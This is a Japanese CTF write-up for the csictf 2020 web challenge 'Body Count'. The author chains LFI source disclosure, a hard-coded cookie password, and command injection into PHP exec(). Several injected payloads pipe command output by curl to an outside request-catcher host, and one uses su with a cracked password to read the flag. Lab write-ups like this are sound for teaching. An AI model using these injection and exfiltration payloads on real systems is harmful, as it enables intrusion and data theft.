CTFtime.org / csictf 2020 / Body Count
Here's chracter count service for you!
http://chall.csivit.com:30202/
アクセスすると、すぐ/?file=wc.php
にリダイレクトされる。
LFIかな?
LFI
とりあえず、いつものURLでソースコードが抜けないかやってみる。
/?file=php://filter/convert.base64-encode/resource=wc.php
色々出てくるので、cyberchefに突っ込んで、ソースコードを出す。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>wc as a service</title> <style> html, body { overflow: none; max-height: 100vh; } </style> </head> <body style="height: 100vh; text-align: center; background-color: black; color: white; display: flex; flex-direction: column; justify-content: center;"> <?php ini_set('max_execution_time', 5); if ($_COOKIE['password'] !== getenv('PASSWORD')) { setcookie('password', 'PASSWORD'); die('Sorry, only people from csivit are allowed to access this page.'); } ?> <h1>Character Count as a Service</h1> <form> <input type="hidden" value="wc.php" name="file"> <textarea style="border-radius: 1rem;" type="text" name="text" rows=30 cols=100></textarea><br /> <input type="submit"> </form> <?php if (isset($_GET["text"])) { $text = $_GET["text"]; echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>"; } ?> </body> </html>
環境変数を特定する
if ($_COOKIE['password'] !== getenv('PASSWORD')) { setcookie('password', 'PASSWORD'); die('Sorry, only people from csivit are allowed to access this page.'); }
ここを突破しよう…わかんねぇ
解説を見る
ACできたか怪しいな。
リバースシェルってやったことない。やってみる。
robots.txtを見る
Disallow: /?file=checkpass.php
まあ、なんかありますね。
直接アクセスしてもリダイレクトされちゃうので、ソースコードを抜きとろう。
<?php $password = "w0rdc0unt123"; // Cookie password. echo "IMPORTANT!!! The page is still under development. This has a secret, do not push this page."; header('Location: /');
はい。w0rdc0unt123をCookieに入れておこう。
RCE
if (isset($_GET["text"])) { $text = $_GET["text"]; echo "<h2>The Character Count is: " . exec('printf \'' . $text . '\' | wc -c') . "</h2>"; }
まあ、これをみるとRCEできそうな感じはしますね。
コマンド実行をしているので、インジェクションしよう。
リバースシェル
'; ls; #
を入れてみると、z.phpと出てくる。
恐らく何行かあっても1行しか表示されないのだろう。
リバースシェルが使えないかやってみようとしたけど、うまくいかんかった。
wslだからかなぁ…
もう復習続きで疲れたので、次出たら頑張る…
without リバースシェル
'; ls | curl https://evilman.requestcatcher.com/post -X POST -d @-; #
とやると、色々出てくる。
c.php checkpass.php d.php e.php index.php robots.txt wc.php z.php
色々ファイルがありますね…catコマンドで全部抜いてみよう。
c.php
<?=var_dump(scandir(/ctf));?>
アクセスすると500エラー。権限が無い?
d.php
<?php system("whoami");?>
アクセスするとwww-data
と表示される。
<?php print_r(scandir(/));?>
アクセスすると500エラー。権限が無い?
'; ls -la /ctf | curl https://evilman.requestcatcher.com/post -X POST -d @-; #
total 32 drwxr-xr-x 1 root ctf 4096 Jul 22 06:39 . drwxr-xr-x 1 root root 4096 Jul 22 07:05 .. -rwxr-xr-x 1 root ctf 53 Jul 22 06:27 README drwxr-xr-x 1 root ctf 4096 Jul 22 06:39 avenged drwxr-xr-x 1 root ctf 4096 Jul 22 06:39 dream -rwxr-xr-x 1 root ctf 72 Jul 22 06:27 findaas drwxr-xr-x 1 root ctf 4096 Jul 22 06:39 led drwxr-xr-x 1 root ctf 4096 Jul 22 06:39 system
cat /ctf/READMEしてみると、
My password hash is 6f246c872cbf0b7fd7530b7aa235e67e.
CrackStationでヒットする。
Hash:6f246c872cbf0b7fd7530b7aa235e67e
Type:md5
Result:csictf
password?と思って、/?file=/etc/passwd
を見てみる。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ctf:x:1000:1000::/ctf:/bin/sh
ctfとかいうユーザーがいますね。ctf:csictf
か。
'; find / -iname "*flag*" | curl https://evilman.requestcatcher.com/post -X POST -d @-; #
でflagと名前の付くファイルパスを列挙する。
眺めると、/ctf/system/of/a/down/flag.txt
がある。
試しに/?file=/ctf/system/of/a/down/flag.txt
を見てみるが、500エラー。権限か。
先ほどのユーザーでログインして、ファイルを取得してみる。
'; echo "csictf" | su ctf -c "cat /ctf/system/of/a/down/flag.txt" | curl https://evilman.requestcatcher.com/post -X POST -d @-; #
のようにsuでctfユーザーの権限を付けて開いて、POSTするとフラグが手に入る。